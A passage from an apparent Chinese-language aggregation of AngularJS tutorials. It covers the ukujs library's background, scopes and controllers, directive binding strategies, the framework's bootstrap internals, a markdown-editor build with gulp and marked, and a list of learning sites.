A: 作者是一位ukulele乐器爱好者。Ukulele相对于Guitar而已少了2根弦（只有4根），体积也小了很多，因此ta可爱小巧，方便携带，易于学习，并且有着自己独特的音色。但是有优点也有缺点，由于少了2根弦导致ta的音域只有2个八度，在某些场合ta无法与钢琴，吉他抗衡。如果把功能健全的Angular比作钢琴的话，那ukujs就是灵动小巧的ukulele。作者也希望ukujs也能给大家带来相同的感受，故给这个js工具起了这个名字。如果说钢琴是一个人的交响乐队的话，那ukulele配合Cajon，口风琴，等其它轻量的乐器一样可以演奏出美丽的乐章。

Q: ukujs诞生记

A: 有个一起玩ukulele在SAP上班的兄弟，一直怂恿作者接点移动端的私活贴补家用，由于作者之前只接触过Angular，但是也知道Angular并不适用于移动端的web应用，所以他决定自己写了一套轻量的双向绑定工具来提高工作效率，于是就有了ukujs，（然而距截稿时为止，他们1笔私活都没接到，好惨）。

Q: ukujs后续的发展

A: 作者十分提倡前端组件化开发，DOM操作与mvvm并存的开发方式，目前最新版的ukujs已经支持webcomponent功能（屌！），ukujs已经趋于稳定，并已投入生产环境，请安心食用。

最后，非常感谢你能阅读完全文，真的非常感谢。如果不吝惜时间的话，请帮忙推荐此文，或至github，star项目。


 Angular.JS学习记录（一）

作者：Hockor

来源： Angular.JS学习记录（一）



                    
要说现在前端最火热的东西，node.js以及谷歌推出的Angular绝对是不二之选，本人也是最近才开始学习这个东西，写下这篇文章，就当做是自己的一个学习见证吧！


Angular。一听名字就很高大上啊。那么它是做什么的呢，简单的说就在MVC模式上升级——>MVVM模式。AngularJS通过新的属性和表达式扩展了HTML。他可以构建单页面应用程序，即SPA（SPAs：Single Page Applications）。


下载


官方网址：https://angularjs.org/（国内的墙，你懂的，一般都很高！）
CDN地址：http://cdn.bootcss.com/angular.js/1.3.0-beta.13/angular.js



简单使用


首先它是一个 JavaScript框架，所以使用之前需要使用script标签引入。


ng-app


这个指令决定了angularjs的作用域范围，你可以如下使用


html<html ng-app> 
…  
</html> 



如果只想让angularjs渲染整个页面，也可以使用


html<div ng-app='myapp'>
……
</div>



来渲染其中的一部分。


ng-model


ng-model,当你的数据模型被改变的时候，譬如ng-model=’test’,其中这个test的数值被改变的时候，绑定的{{test}}的数值也将跟随改变，也就是连接到ng-model中的test也跟随改变,如下


html<!doctype html>
<html>
    <head>
        <script src="angular.min.js" type="text/javascript"></script>
        <title>learing argularjs--widuu</title>
    </head>
    <body ng-app>
    <input ng-model='test' >
    <p> hello {{test}} </p>
    </body>
</html>



结果如图所示：


怎么样。不错吧。通过短短的几行代码就可以实现几倍jquery实现的功能。当然这还只是angular的冰山一角，传闻当时google一个项目在用angular之前有15000+代码。使用angular以后只用了3000+左右。当然具体的情况我不敢确定哈。但是这足以说明angular的强大了！


controller


controller是angular.Module中的方法。

使用方法为controller(name,constructor);

其中name是controller的名字，constructor是控制器构造函数，我们利用代码来看看：


html<!doctype html>
<html>
    <head>
        <script src="angular.min.js" type="text/javascript"></script>
        <script type="text/javascript">
        var app = angular.module('myapp',[]);
        app.controller('hockor',function($scope){
            $scope.test="hello word";
        });
        </script>
        <title>learing argularjs--widuu</title>
    </head>
    <body ng-app='myapp' ng-controller='hockor' >
    <input ng-model='test'>
    <p> hello {{test}} </p>
    </body>
</html>



执行代码以后大家可以看到和上一个效果是一样的，这就是controller的作用。即控制器。代码中的$scope和module可能很陌生。没关系，接下来我就会解释了。


$scope


顾名思义，这是指作用域。谈到JS的作用域，相信很多从事多年JS开发的人都还是有一点晕，JS的预解析是招聘中的一个重要考察点。好了废话不多说，咱们还是通过代码来看问题。（以后的代码我指贴出重要部分了哈，ng-app指令默认放在HTML标签上面）


html<p ng-controller="hockor">{{name}}</p>



Javascriptfunction hockor($scope){
        $scope.name = "hello hockor";
    }



代码中的控制器指向了hockor这个函数，hockor这个函数中我定义了1个形参是$scope，这是angular内置的,我现在是把name这个变量挂载到$scope上的，这样name这个属性才能被找到，如果单纯的写var name = "XXX",这样是无效的，它就是一个普通的变量，而不是我们想要的数据。


接下来我们再来看个例子。


html<div ng-controller="hockor">
<p>{{name}}</p>
</div>
<p> {{age}}</p>



javascriptfunction hockor($scope,$rootScope){
        $scope.name = "hello hockor";
        $rootScope.name = "Just test";
    }



这一次大家可以看到除了$scope以外我们还有一个参数$rootScope。通过其名字我们也可以猜出，它就是一个顶级作用域，也就是全局作用域。本来上面代码中的{{age}}是没有挂载到hockor这个控制器下的，但是执行代码我们可以发现他还是被解析成了Just test这句话，这就是Angular中的作用域！


注意：以上我们所写的形参$scope.$rootScope是不能修改为其他值的哦！


为什么呢？


大家可以观察上面的ng-controller，我们写的是一个函数名。并且不带括号，这和我们普通的调用JS函数不一样，普通的调用JS函数是需要加括号的，并且可以传参在里面，而且形参的名字是不受限制的。而在这里就不需要写括号了，只需要写一个函数名，angular自动帮我们依赖注入了参数，所以形参$scope.$rootScope是不能修改为其他值的，必须按照angular的格式来写。


OK，第一篇到此结束！


原创文章：转载请注明！-hockor


 Angular学习心得之directive——scope选项与绑定策略

作者：lee1994522

来源： Angular学习心得之directive——scope选项与绑定策略



                    
   开门见山地说，scope:{}使指令与外界隔离开来，使其模板(template)处于non-inheriting(无继承)的状态，当然除非你在其中使用了transclude嵌入，这点之后的笔记会再详细记录的。但是这显然不符合实际开发中的需求，因为实际上，我们经常想要我们的指令能够在特定的情况下与外界进行数据上的交互，这就需要借助绑定策略之手了。



大家知道，当scope选项写为scope:{}这种形式的时候，就已经为指令生成了隔离作用域，现在，我们来看看绑定策略的三种形式：& 、= 、@。


首先是@，它将本地作用域和DOM中的属性值绑定起来（且这个属性的值必须是父级作用域中的），什么意思呢？说的简单一点就是假设你在模板中有个双花括号表达式，然后我们把表达式里的内容和html中指令里特定名字的属性绑定起来，还是不懂？看看下面的代码：


JS代码:


directive("direct",function(){

        return{

            restrict: 'ECMA',

            template: '<div>指令中：{{ name }}</div>',

            scope:{

              name:'@forName'

            }
         } 
  })
.controller("nameController",function($scope){
      $scope.Name="张三"; 
});



HTML代码:


<div ng-controller="nameController">
   <direct for-name="{{ Name }}"></direct>
<div>



运行结果可想而知，{{ name }}成功地与父控制器中的Name绑定起来了。当然这里也可以这样写name:'@' 这样写的话，就默认DOM中的属性名为name了意即 for-name="{{ Name }}"可简写为name="{{ Name }}";其实，另外两个符号=和&也有这样的简写规则，方便起见接下来都使用这种写法。

@到此为止，接下来就是'='了。=与@的不同点在于，@是针对字符串（准确来说是表达式expression）而用，但=是针对某个对象的引用；


这么说可能不太专业，但就拿上边的例子而言，我们在html中，把Name这个字符串通过一对双花括号传递给for-name属性，但如果我们用了=，这里传入的Name就不应该是一个字符串，而是一个对象的引用。这不是一个很一目了然的概念，所以我用接下来的两个例子诠释它的含义。


第一个例子：数组中的对象的引用


JS代码：


directive("direct",function(){


        return{


            restrict: 'ECMA',


            template: '<div>指令中：{{ case.name }}</div>',


            scope:{


              case:'='


            }

         } 

  })

.controller("nameController",function($scope){

      $scope.data=[{name:"张三"},{name:"李四"}]; 

});



HTML代码：


<div ng-controller="nameController">

   <direct case="data[0]"></direct>

   <direct case="data[1]"></direct> 
<div>



结果就是，一个张三，一个李四。这个例子中，data是一个对象数组，里面包含了两个对象，所以，我们分别把两个对象传递给了case这个属性，case属性就把这个对象的引用传递给了模板中我们写的{{ case.name }}中的case;而如果你在=后边加上了自己定义的名字，那只要把html里case属性换成那个名字就可以了。


第二个例子：经典的双向输入框


按照Angular的入门案例，创建两个双向绑定的输入框，最简单的实现方式就是：


<input ng-model="test"/>
 <input ng-model="test"/>



使用ng-model指令就可以做到了。接着，我们在自己的指令中实现这个效果。


JS代码：


directive("direct",function(){



        return{



            restrict: 'ECMA',



            template: '<div>指令中：<input ng-model="model"/></div>',



            scope:{



              model:'='



            }


         } 


  })

.controller("nameController",function($scope){


      $scope.data=[{name:"张三"},{name:"李四"}]; 


});



HTML代码:


<div ng-controller="nameController">

        父级scope中：<input ng-model="mark"/>

        <direct model="mark"/></direct>
 </div>



这就完成了，其实只不过是加了一点小把戏，把ng-model换成了model而已。


注意到，这两个例子中，都是使用对象的引用，而不是单纯的字符串，这也是=可以进行双向绑定的关键。


最后是&符号。它的含义是：对父级作用域进行绑定，并将其中的属性包装成一个函数，注意，是属性，意即，任何类型的属性都会被包装成一个函数，比如一个单纯的字符串，或是一个对象数组，或是一个函数方法。


如果是字符串、对象数组和无参的函数，那么可想而知，它们都会被包装成一个无参的函数，若是有参的函数方法则反之，并且我们需要为其传入一个对象。现在，分别针对有参和无参两种情况举例。



无参情况↓


JS代码：


.directive("direct",function(){




        return{

            restrict: 'ECMA',

            template: '<div>{{ title }}</div>'+'<div><ul><li ng-repeat="x in          contents">{{ x.text }}</li></ul></div>',

            scope:{

              getTitle:'&', 
              getContent:'&'             
         },
            controller:function($scope){ 
               $scope.title=$scope.getTitle();     //调用无参函数  
               $scope.contents=$scope.getContent();    //调用无参函数 
           } 
      } 
 })


.controller("nameController",function($scope){

    $scope.title="标题";

    $scope.contents =[{text:1234},{text:5678}]; 
});




HTML代码：


<div ng-controller="nameController">
      <direct get-title="title" get-content="contents"></direct> 
  </div>



这个例子有几个注意点：


1.指令的本地属性（即模板里花括号中的属性）需要从本地取值，所以使用了controller选项，而在controller选项中，两个无参方法分别返回了父级scope中的title字符串和contents对象数组。


2.在HTML中，我们把设置了get-title和get-content的属性值为title和contents，这实际上就完成了与父级scope的绑定，因为我们才可以从那儿取得实质的内容。


OK，有参情况↓


JS代码：


.directive("direct",function(){ 
return{
            restrict: 'ECMA',
            template: '

<div><input ng-model="model"/></div>

'+'

<

div><button ng-click="show({name:model})">show</button>',
            scope:{
                show:'&'              
            }                      
         }
    })

    .controller("nameController",function($scope){
        $scope.showName=function(name){ 

          alert(name); 
         } 
     });




HTML代码：


<div ng-controller="nameController">

      <direct show="showName(name)"></direct> 

  </div>



这个例子中，通过模板中的ng-click触发了show函数并将一个叫做model的对象作为name参数传递了进去，而在html中，我们把show的属性值设为showName(name)。这其中的道理跟无参的例子是大同小异的。


总结：


为什么Angular要为我们提供这样一套绑定策略呢？就是因为它想让我们在为指令创建隔离作用域的同时，还能访问到父级中的属性，这就像，你在隔离作用域身上打了一个洞，然后用一条管道，把指令内部和外界的属性给连起来（绑定），并且一切的通信都只能通过这条管道来实行。这是我目前能做到的最深刻的理解了，可能还有需要的补充和纠正的地方，希望大家能抽空指点我一下，感激不尽！


 理解和学习AngularJS（一）

作者：trigkit4

来源： 理解和学习AngularJS（一）



                    
Angularjs

Angular是一款主旋律的MVVM框架，框架和传统的库不同：


	类库是一些函数的集合，它能帮助你写WEB应用。起主导作用的是你的代码，由你来决定何时使用类库。类库有：jQuery等




	框架是一种特殊的、已经实现了的WEB应用，你只需要对它填充具体的业务逻辑。这里框架是起主导作用的，由它来根据具体的应用逻辑来调用你的代码。框架有：knockout等。




Angular.js主要用于构建单页面web应用，提供了诸如：

1.解耦应用逻辑、数据模型和视图
2.AJax服务
3.依赖注入
4.浏览历史
5.测试和更多功能


简要解释Angularjs就是一个可以给HTML加上互动性的客户端js框架。我们需要明白如何让HTML适时调用js。

在Angular中，我们通过指令（Directives）给HTML加上行为。指令是一个在HTML标签上的标记，用来告诉Angular运行或者引用哪些js代码。为指令赋值函数名，即可运行。但这不是很好的方式，我们只需明白这就是指令如何绑定行为的

Angular模块（module）

模块是指写Angular应用的代码片段，这样可以使代码分离开来，因此代码会更好维护，可读和测试。还可以在module里定义代码依赖关系，可以调用一个模块，再在代码中定义这个模块依赖于另外两个。

var app = angular.module('store',[]);//store=>应用名,[]=>定义依赖关系,app为模块的实例对象


AngularJS允许我们使用angular.module()方法来声明模块，这个方法能够接受两个参数, 第一个是模块的名称，第二个是依赖列表,也就是可以被注入到模块中的对象列表。

表达式

表达式{{}}允许你动态插入值到你的HTML当中。

控制器（Controller）

控制器帮助我们把应用内的数据信息显示到页面中，控制器是通过定义函数和变量，从而定义应用行为的地方。ng-controller定义了AngularJS 应用程序被控制器控制。

ng-controller帮助我们把控制器附属在html元素上，作为ng-controller属性的值，我们要写控制器名字，我们用as关键字这个属性值起个别名。我们将会在元素内的表达式中使用这个别名

<div ng-controller="StoreController as store">
    <h1>{{store.product.name}}</h1>
    <h2>${{store.product.price}}</h2>
    <p>{{store.product.description}}</p>
</div>
(function () {
    var app = angular.module('store',[]);
    app.controller("StoreController", function () {
        this.product = gem;
    });
    var gem = {
        name: 'trigkit4',
        price: 2.09,
        description: '...'
    }
})();


这个控制器的范围权限仅限于它所附属的元素

指令是触发javascript函数行为的html标记
模块是定义应用的各个组成部分
控制器定义应用的行为
表达式控制我们如何将信息显示在页面上






ng-app来把应用模块放到页面上 
ng-controller来把逻辑控制器放到页面上
ng-show & ng-hide来通过表达式控制元素的显示与否
ng-repeat来循环一个数组中所有的数据


过滤器filter

angular提供了很多不同的过滤器，在相似的表示方式下，即取出一些数据，传递数据（竖线| 后跟表达式）给相应的过滤器，
有时候也可以给它加上相应的参数

{{data* | filter:option*}}


比如：
uppercase & lowercase

{{'trigkit4' | uppercase}} /*TRIGKIT4*/


还有比如限制过滤器（limitTo filter），可以控制字符的输出数量：

{{'My dictionary' | limitTo:8}} /*My dicti*/


指令Directives

Angularjs通过指令（directive）扩展HTML的语法，通过通过{{}}进行数据绑定

ng-app

ng-app属性声明所有被其包含的内容都属于这个AngularJS应用, 只有被具有ng-app属性的DOM元素包含的元素才会受AngularJS影响。如果不写该指令，angular是不会执行的。

ng-init

ng-init指令初始化应用程序数据，也就是为AngularJS应用程序定义初始值。如下，为应用程序name赋初值：

<div ng-app="" ng-init="names=['mike','trigkit4','jack']">
    {{names}} <!--['mike','trigkit4','jack'] -->
</div>


ng-model

只需要使用ng-model指令就可以把应用程序数据绑定到HTML元素，实现model和view的双向绑定。看下面实例：

http://codepen.io/hawx1993/pen/ojEyvJ

ng-bind

ng-bind和Angularjs表达式{{}}很类似，不同的是ng-bind是在angular解析渲染完毕后才将数据显示出来的。还有就是表达式不能写在DOM元素的属性里，而指令可以。

http://codepen.io/hawx1993/pen/avqKvj

ng-click

AngularJS也有自己的HTML事件指令,比如说通过ng-click定义一个AngularJS单击事件。

http://codepen.io/hawx1993/pen/LpQrNq

ng-hide="true"，设置HTML元素不可见。

ng-controller

控制器在AngularJS中的作用是增强视图。 当我们在页面上创建一个新的控制器时，AngularJS会生成并传递一个新的$scope给这个控 制器。可以在这个控制器里初始化$scope。

http://codepen.io/hawx1993/pen/ojEyWR

要明确创建一个$scope对象，我们就要给DOM元素安上一个controller对象，使用的是ng-controller 指令属性。

一般情况下，我们使用控制器做两件事：


	初始化 $scope 对象


	为 $scope 对象添加行为（方法）




ng-repeat

<div ng-app="" ng-init="people=[
        {name:'mike',age:21},
        {name:'trigkit4',age:22},
        {name:'Tom',age:12}]">
    <table>
        <tbody>
            <tr ng-repeat="x in people">
                <td>{{'Name: ' + x.name + ',Age: '+ x.age}}</td>
            </tr>
        </tbody>
    </table>
</div>


$scope控制范围

$scope是一个将view（一个DOM元素）连结到controller上的对象。每一个Angular应用都会有一个 $rootScope。这个 $rootScope 是最顶级的scope，它对应着含有 ng-app 指令属性的那个DOM元素。

它也是一个JavaScript对象，指向应用程序作用域内的所有HTML元素和执行上下文。

所有$scope都遵循原型继承，这意味着它们都能访问父$scope，也具有原型链那样的特性，即向上访问属性和方法，直到最顶层。

简而言之，$scope 是与指令元素相关联的当前作用域，可以理解为视图和控制器间的一个通道。当angular运行时，所有的$scope对象都会附加或者链接到视图中。

指令和作用域

指令通常不会创建自己的$scope，除了ng-controller和ng-repeat，他们会创建自己的子作用域并将他们附加到DOM元素上。

双向数据绑定

双向数据绑定意味着这些表达式会在属性改变的时候自动改变。当数据发生改变的时候，会使相应的视图进行改变，当我们的视图上发生改变的时候，可以促使相应的数据发生改变，这就是双向的数据绑定到一起了。

双向数据绑定节省了大量的样板代码。Angular 帮助你把构建应用的程序块划分为下面这几种类型：控制器(Controller)，指令(Directive)，工厂(Factory)，过滤器 (Filter)，服务(Service)和视图(View) (就是模板)。它们被组织为模块形式，之后可以被另一个引用。

双向数据绑定：数据模型（Module）和视图（View）之间的双向绑定。


双向数据绑定的优点是无需进行和单向数据绑定的那些CRUD（Create，Retrieve，Update，Delete）操作



双向数据绑定最经常的应用场景就是表单了，这样当用户在前端页面完成输入后，不用任何操作，我们就已经拿到了用户的数据存放到数据模型中了。

依赖注入

依赖注入的意思是 你需要的东西不用由你创建，而是由第三方，或者说容器提供给你的。这样的设计符合正交性，即所谓的松耦合。

总之就是你不用关心对象的生命周期，什么时候被创建，什么时候销毁，只需直接使用即可，对象的生命周期由提供 依赖注入的框架来管理。

第一个 AngularJS Web 应用




todoList demo



http://codepen.io/hawx1993/pen/epVLLW

博主近来穷的吃土了，如果看完本文的内容后觉得对你有所帮助，想博主更新的勤一点，你不扫一下吗（留言你想学的前端技术，博主有空了就更新呦）






 AngularJS 的启动过程分析

作者：Worktile

来源： AngularJS 的启动过程分析



                    



本文例子所使用版本为 v1.3.9


启动过程


步骤1



	
用自执行函数的形式让整个代码在加载完成之后立即执行


inangular.js Line6


javascript(function(window, document, undefined)




	
在window上暴露一个唯一的全局对象angular，Line250


    /** @name angular */
    //如果window.angular已经有值了，就把原有的赋值给前面angular，如果没有则用window.angular空对象赋值给angular
angular = window.angular || (window.angular = {}),
    angularModule,
    uid = 0;




	
获得其它工具模块 Line 2129


function publishExternalAPI(angular) {
  extend(angular, {
    'bootstrap': bootstrap,
    'copy': copy,
    'extend': extend,
    'equals': equals,
    'element': jqLite,
    'forEach': forEach,
    'injector': createInjector,
    'noop': noop,
    'bind': bind,
    .....




	
我们来看看angular全局对象都有什么东西






	
接着，我们使用全局对象中的isFunction 来遍历一下angular全局对象上的属性，函数


var counter = 0;
for (var p in angular) {
    counter++;
    if (angular.isFunction(angular[p])) {
        console.log("function->" + p);
    } else {
        console.log("property-->" + p + "-->" + angular[p]);
    }
}
console.log(counter);



有两个property，其它都是function






	
我们再来看看injector里都有什么


/**
 * angular.injector();
 */
var injector = angular.injector();
console.log(injector);






一共有5个方法

annotate：分析函数签名(不要new的原因)





步骤2



	
检查是不是多次导入Angular：window.angular.bootstrap(通过检查指定的元素上是否已经存在injector进行判断)


in angular.js line 26041


  if (window.angular.bootstrap) {
    //AngularJS is already loaded, so we can return here...
    console.log('WARNING: Tried to load angular more than once.');
    return;
  }






Angular 的三种启动方式


方式 1：自动启动


Angular会自动的找到ng-app，将它作为启动点，自动启动


<!DOCTYPE html>
<html ng-app="myModule">

<head>
    <title>New Page</title>
    <meta charset="utf-8" />
    <script type="text/javascript" src="../../vendor/bower_components/angular/angular.min.js"></script>
    <script type="text/javascript" src="./02.boot1.js"></script>
</head>

<body>
    <div ng-controller="MyCtrl">
        <span>{{Name}}</span>
    </div>
</body>
</html>



JS


var myModule = angular.module("myModule", []);
myModule.controller('MyCtrl', ['$scope',
    function($scope) {
        $scope.Name = "Puppet";
    }
]);



方式 2：手动启动


在没有ng-app的情况下，只需要在js中添加一段注册代码即可


<body>
    <div ng-controller="MyCtrl">
        <span>{{Name}}</span>
    </div>
</body>





JS


var myModule = angular.module("myModule", []);
myModule.controller('MyCtrl', ['$scope',
    function($scope) {
        $scope.Name = "Puppet";
    }
]);

/**
 * 这里要用ready函数等待文档初始化完成
 */
angular.element(document).ready(function() {
    angular.bootstrap(document, ['myModule']);
});




方式 3：多个ng-app


ng中，angular的ng-app是无法嵌套使用的，在不嵌套的情况下有多个ng-app，他默认只会启动第一个ng-app，第二个第三个需要手动启动(注意，不要手动启动第一个，虽然可以运行，但会抛异常)


<body>
    <div id="app1" ng-app="myModule1">
        <div ng-controller="MyCtrl">
            <span>{{Name}}</span>
        </div>
    </div>
    <div id="app2" ng-app="myModule2">
        <div ng-controller="MyCtrl">
            <span>{{Name}}</span>
        </div>
    </div>
</body>




JS


/**
 * 第一个APP
 * @type {[type]}
 */
var myModule1 = angular.module("myModule1", []);
myModule1.controller('MyCtrl', ['$scope',
    function($scope) {
        $scope.Name = "Puppet";
    }
]);
// angular.element(document).ready(function() {
//     angular.bootstrap(app1, ['MyModule1']);
// });

/**
 * 第二个APP
 * @type {[type]}
 */
var myModule2 = angular.module("myModule2", []);
myModule2.controller('MyCtrl', ['$scope',
    function($scope) {
        $scope.Name = "Vincent";
    }
]);
angular.element(document).ready(function() {
    angular.bootstrap(app2, ['myModule2']);
});



步骤3


尝试绑定jQuery，如果发现导入了jQuery ，则使用导入的jQuery，否则，使用Angular自己封装的JQLite


in angular.js line 1521：


  bindJQuery();



in angular.js line 1534:


  jQuery = window.jQuery;

if (jQuery && jQuery.fn.on) {
    jqLite = jQuery;
    extend(jQuery.fn, {
      scope: JQLitePrototype.scope,
      isolateScope: JQLitePrototype.isolateScope,
      controller: JQLitePrototype.controller,
      injector: JQLitePrototype.injector,
      inheritedData: JQLitePrototype.inheritedData
    });



测试


<html ng-app="myModule">


<body>
    <div>
        <div ng-controller="MyCtrl">
            <span>{{Name}}</span>
        </div>
    </div>
</body>

</html>



JS


var myModule = angular.module("myModule", []);
myModule.controller('MyCtrl', ['$scope',
    function($scope) {
        $scope.Name = "Puppet";
    }
]);



查看执行流程





步骤4


发布ng提供的API


in angular.js line 2162 : publishExternalAPI(angular);


//构建模块加载器
angularModule = setupModuleLoader(window);
  try {
    angularModule('ngLocale');
  } catch (e) {
    angularModule('ngLocale', []).provider('$locale', $LocaleProvider);
  }



模块加载器的实现原理


in angular.js function setupModuleLoader(window)


function setupModuleLoader(window) {

  var $injectorMinErr = minErr('$injector');
  var ngMinErr = minErr('ng');

  function ensure(obj, name, factory){
  return obj[name] || (obj[name] = factory());
  }
  var angular = ensure(window, 'angular', Object);
  // We need to expose `angular.$$minErr` to modules such as `ngResource` that reference it during bootstrap
  angular.$$minErr= angular.$ $minErr || minErr;
  //把module方法放到angular的全局对象上，ensure就是一个属性拷贝的过程
return ensure(angular, 'module', function(){
    //模块缓存
    var modules = {};
}



把工具函数给载到模块里


javascriptreturn function module(name, requires, configFn) {
......
}



查看模块里所包含的内容


<!DOCTYPE html>
<html ng-app="myModule">

</html>



JS


/**
 * 定义模块
 */
var myModule = angular.module("myModule", []);

/**
 * 从debug的过程可以看到，angular中的“模块”只是一个闭包空间（或者叫命名空间）
 * 所有模块都被注册在modules这个对象上
 */
console.log(myModule);



查看控制台





构建内置模块 ng


in angular.js line 2169 publishExternalAPI(angular)


 angularModule('ng', ['ngLocale'], ['$provide',
    function ngModule($provide) {
      // $ $sanitizeUriProvider needs to be before $compileProvider as it is used by it.
      $provide.provider({
        $ $sanitizeUri: $$SanitizeUriProvider
      });
      $provide.provider('$compile', $CompileProvider).
        directive({
            a: htmlAnchorDirective,
            input: inputDirective,
            ......



加载了所有内置的directive,provider.注册ng内核Provider：两个最重要的$parser 和 $rootScope


总结



	工具函数拷贝到angular全局对象上；

	调用setupModuleLoader方法创建模块定义和加载工具（挂在全局对象window.angular上）；

	构建内置模块ng；

	创建ng内置的directive和provider；

	两个重要的provider：$parse 和 $rootScope；



步骤5


初始化Angular - 查找Ng-app


javascript  jqLite(document).ready(function() {
    angularInit(document, bootstrap);
  });



bootstrap


创建injector，拉起内核和启动模块，调用compile服务 (一个ng-app只有一个injector)


in angular.js line 1415


function bootstrap(element, modules, config){
....
}



本文原载于@Puppet 原创学习笔记，如需转载请附上 原文链接>>



 如何创建一个简易的markdown在线编辑器

作者：qianjiahao

来源： 如何创建一个简易的markdown在线编辑器



                    
项目演示markdown-editor

教程地址markdown-editor


前提准备



	npm

	bower

	node 0.12.x 

	angular 1.4x



技术栈



	Angular.js [动态更新数据]

	marked [转义markdown语法]

	highlight.js [高亮代码]

	less [管理css]

	gulp [自动化项目]



概要


通过github-pages免费申请一个页面


修改项目结构


...

打开项目，将原来的目录结构删掉，重新配置如下

    ├── front-end
    │   ├── api
    │   │   └── app.js
    │   └── assets
    │       ├── js
    │       │   └── customer.js
    │       └── styles
    │           └── customer.css
    └── index.html

 - api里装angular的代码
 - assets里是资源文件
 - .gitignore是告诉git要忽略的文件

 ...



使用gulp自动化项目


编译less，压缩css，生成map文件


    gulp.task('lessCSS', function () {
        var combined = combine.obj([
            gulp.src(path.lessPath),
            plumber(),
            sourcemaps.init(),
            less(),
            minifyCSS(),
            sourcemaps.write('./maps'),
            gulp.dest(path.destLessPath),
            livereload()
        ]);
        combined.on('error',log);
    });



压缩js，生成map文件


    gulp.task('uglifyJS', function () {
        var combined = combine.obj([
            gulp.src(path.jsPath),
            plumber(),
            sourcemaps.init(),
            rename('customer.min.js'),
            uglify(),
            sourcemaps.write('./maps'),
            gulp.dest(path.destJSPath),
            livereload()
        ]);
        combined.on('error',log);
    });



合并angular，重命名，压缩后，生成map文件


    gulp.task('uglifyAngularJS', function () {
        var combined = combine.obj([
            gulp.src(path.angularJSPath),
            plumber(),
            sourcemaps.init(),
            concat('all.js'),
            gulp.dest(path.destAngularJSPath),
            rename('all.min.js'),
            uglify(),
            sourcemaps.write('./maps'),
            gulp.dest(path.destAngularJSPath),
            livereload()
        ]);
        combined.on('error',log);
    });



默认执行的任务


    gulp.task('default',['uglifyAngularJS','uglifyJS','lessCSS','watch']);



使用less管理css


@charset:'utf-8';

@riceWhite:#F9F9F5;

@333:#333;
@555:#555;
@ccc:#ccc;
@eee:#eee;
@white:#fff;

.box-sizing{
            box-sizing:border-box;
       -moz-box-sizing:border-box;
    -webkit-box-sizing:border-box;  
}

.height(@height) {
    height: @height;
}
.width(@width) {
    width: @width;
}
.padding(@padding) {
    padding: @padding;
}
.margin(@margin) {
    margin: @margin;
}
.float(@float) {
    float: @float;
}

.base{
    .margin(0);
    .padding(0);
    .box-sizing;
}

.fill{
    .height(100%);
    .width(100%);
    .box-sizing;
}

html,body{
    .base;
    .fill;
    background-color: @riceWhite;
}



使用angular marked 和 highlight 完成核心功能


初始化angular应用


var app = angular.module('app',['ngSanitize']);



配置marked


marked.setOptions({
    renderer: new marked.Renderer(),
    gfm: true,
    tables: true,
    breaks: false,
    pedantic: false,
    sanitize: false,
    smartLists: true,
    smartypants: false,
    highlight: function (code) {
        return hljs.highlightAuto(code).value;
    }
});



动态显示结果，所编即所得


app
    .controller('MarkdownController', ['$scope', function ($scope) {
        $scope.inputText = '';

        $scope.$watch('inputText', function(current) {
            $scope.outputText = marked(current);
        });

    }])



优化tab键


优化自动下移


持久化存储markdown内容


教程地址markdown-editor


 15个学习 AngularJS 最好的网站

作者：Specs
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AngularJS 是一款优秀的前端JS开发框架，在你开发应用的时候可以帮你快速提示自己的能力并简化代码。掌握 AngularJS 可以帮你提示你的应用的可用性、实现其他一些在科技界认为不可能的功能。我们对于 AngularJS 的重要性并不陌生，并且知道学习资源对于学习过程的影响。这就是为什么我们总结这15个理想的网站，如果你想学习AngularJS的话。


Recipes with Angular.js


这本电子书整理了很多对于学习AngularJS很有用的资源。并且还包括很多开发者和设计者在使用AngularJS的时候遇到的问题。这些问题都给出了解决方案并附带讨论。这本书会经常更新，并加入一些与AngularJS有关的概念。为了提升阅读体验，更新了搜索功能，让你更加容易的找到你需要的话题。你也可以在评论部分提问题。


Tutorialspoint


这个网站包含了一个AngularJS的教程。本教程把原理分解为简单的步骤，并且提供了适当的实例。它非常严密，使你学习起来十分的轻松。但是你需要对JavaScript的基本概念有所了解并且又一款合适的文版编辑器帮你更好的学习本课程。


GitHub


这个网站提供了大量的对你学习AngularJS很有帮助的资料。博客、文章、视频、电子书等等都可以帮你掌握AngularJS的有关知识。


Thinkster.io


Thinkster.io 采用了一种不同的教学方式。它的目的是用优质的内容开发你的AngularJS专业技能。它认为学习是一个循序渐进的过程，这就是它按主题分开教程并补充阅读材料的原因。


Year of Moo


Year of Moo 包含很多AngularJS组件相关的详细的文章，使你可以成为一个熟练的用户。一些关于AngularJS的最新的功能都会经常更新到该网站，所以请放心，如果你依赖本网站学习AngularJS的话，你是不会落后的。它提供了AngularJS动画、索引、信息等讲座内容。


AngularJS Tutorial by Todd Motto


读完 Todd Motto 这一万字的文章会使你成为一个对AngularJS关键概念非常熟悉的用户。本教程旨在理解AngularJS的基本概念，并提供了一些额外的阅读资源。本教程声称一天之内可以让你成为大师。所以，为什么不花费一天的时间来试试呢？


Ng Book


这是一本最开放、完整、最新的的关于AngularJS主题的电子书。这是一个熟悉基本概念和成为专业用户的快速方法。它通过很好的例子来向你解释AngularJS是如何工作的，并且处理一些测试、编码、性能相关的问题。


Ng Newsletter


Ng newsletter 有一篇名为《AngularJS从初学者到专家》的指南。它分为七个系列。并且如果你想掌握更多的知识，网站还提供了很多的资源。这包括三本有关该话题的电子书以及从其他电子书中提取出的内容。


Egghead


这个一个很好的学习的地方，Egghead提供了大量的有关AngularJS的视频教程。内容简单明确，包含了很多AngularJS相关的主题，如动画、验证、模版等等。如果你想彻底的了解AngularJS如何工作、研究它的细节，那么这里将是你学习的终极地方。


W3schools


这个站点提供了一个由 Gurran Keller撰写的叫做《Intro to AngularJS》的教程。它按章节通过例子解释了AngularJS的特性，并且提供了“try it yourself”使你可以评估你的学习进展。也提供了一些视频教程作为高级参考。


AngularJs On Codeacademy


这个网站被很多对于AngularJS没有一点概念的学生使用，所以它非常适合初学者。它提出了很多的挑战你需要解决，以确保你掌握了概念。它可以让你用5个小时完成课程并使用AngularJS开发应用。


Code School


Code School提供了《Shaping up with Angular》这个教程的完整的代码包。它按登记划分教程并提供了一个实际应用。此外，它还提供了阅读材料和视频教程帮你解决困惑。Code School是一个提示你技能的非常有用的平台。


AngularJS in 60 minutes


Dan Wahlin 不相信浪费时间，并且通过给你一些关于AngularJS的技巧、见解加快你的学习进度。AngularJS in 60 minutes 是一个可下载的电子书，并且提供了视频帮你解决困惑、解答你的疑问。


Medialoot


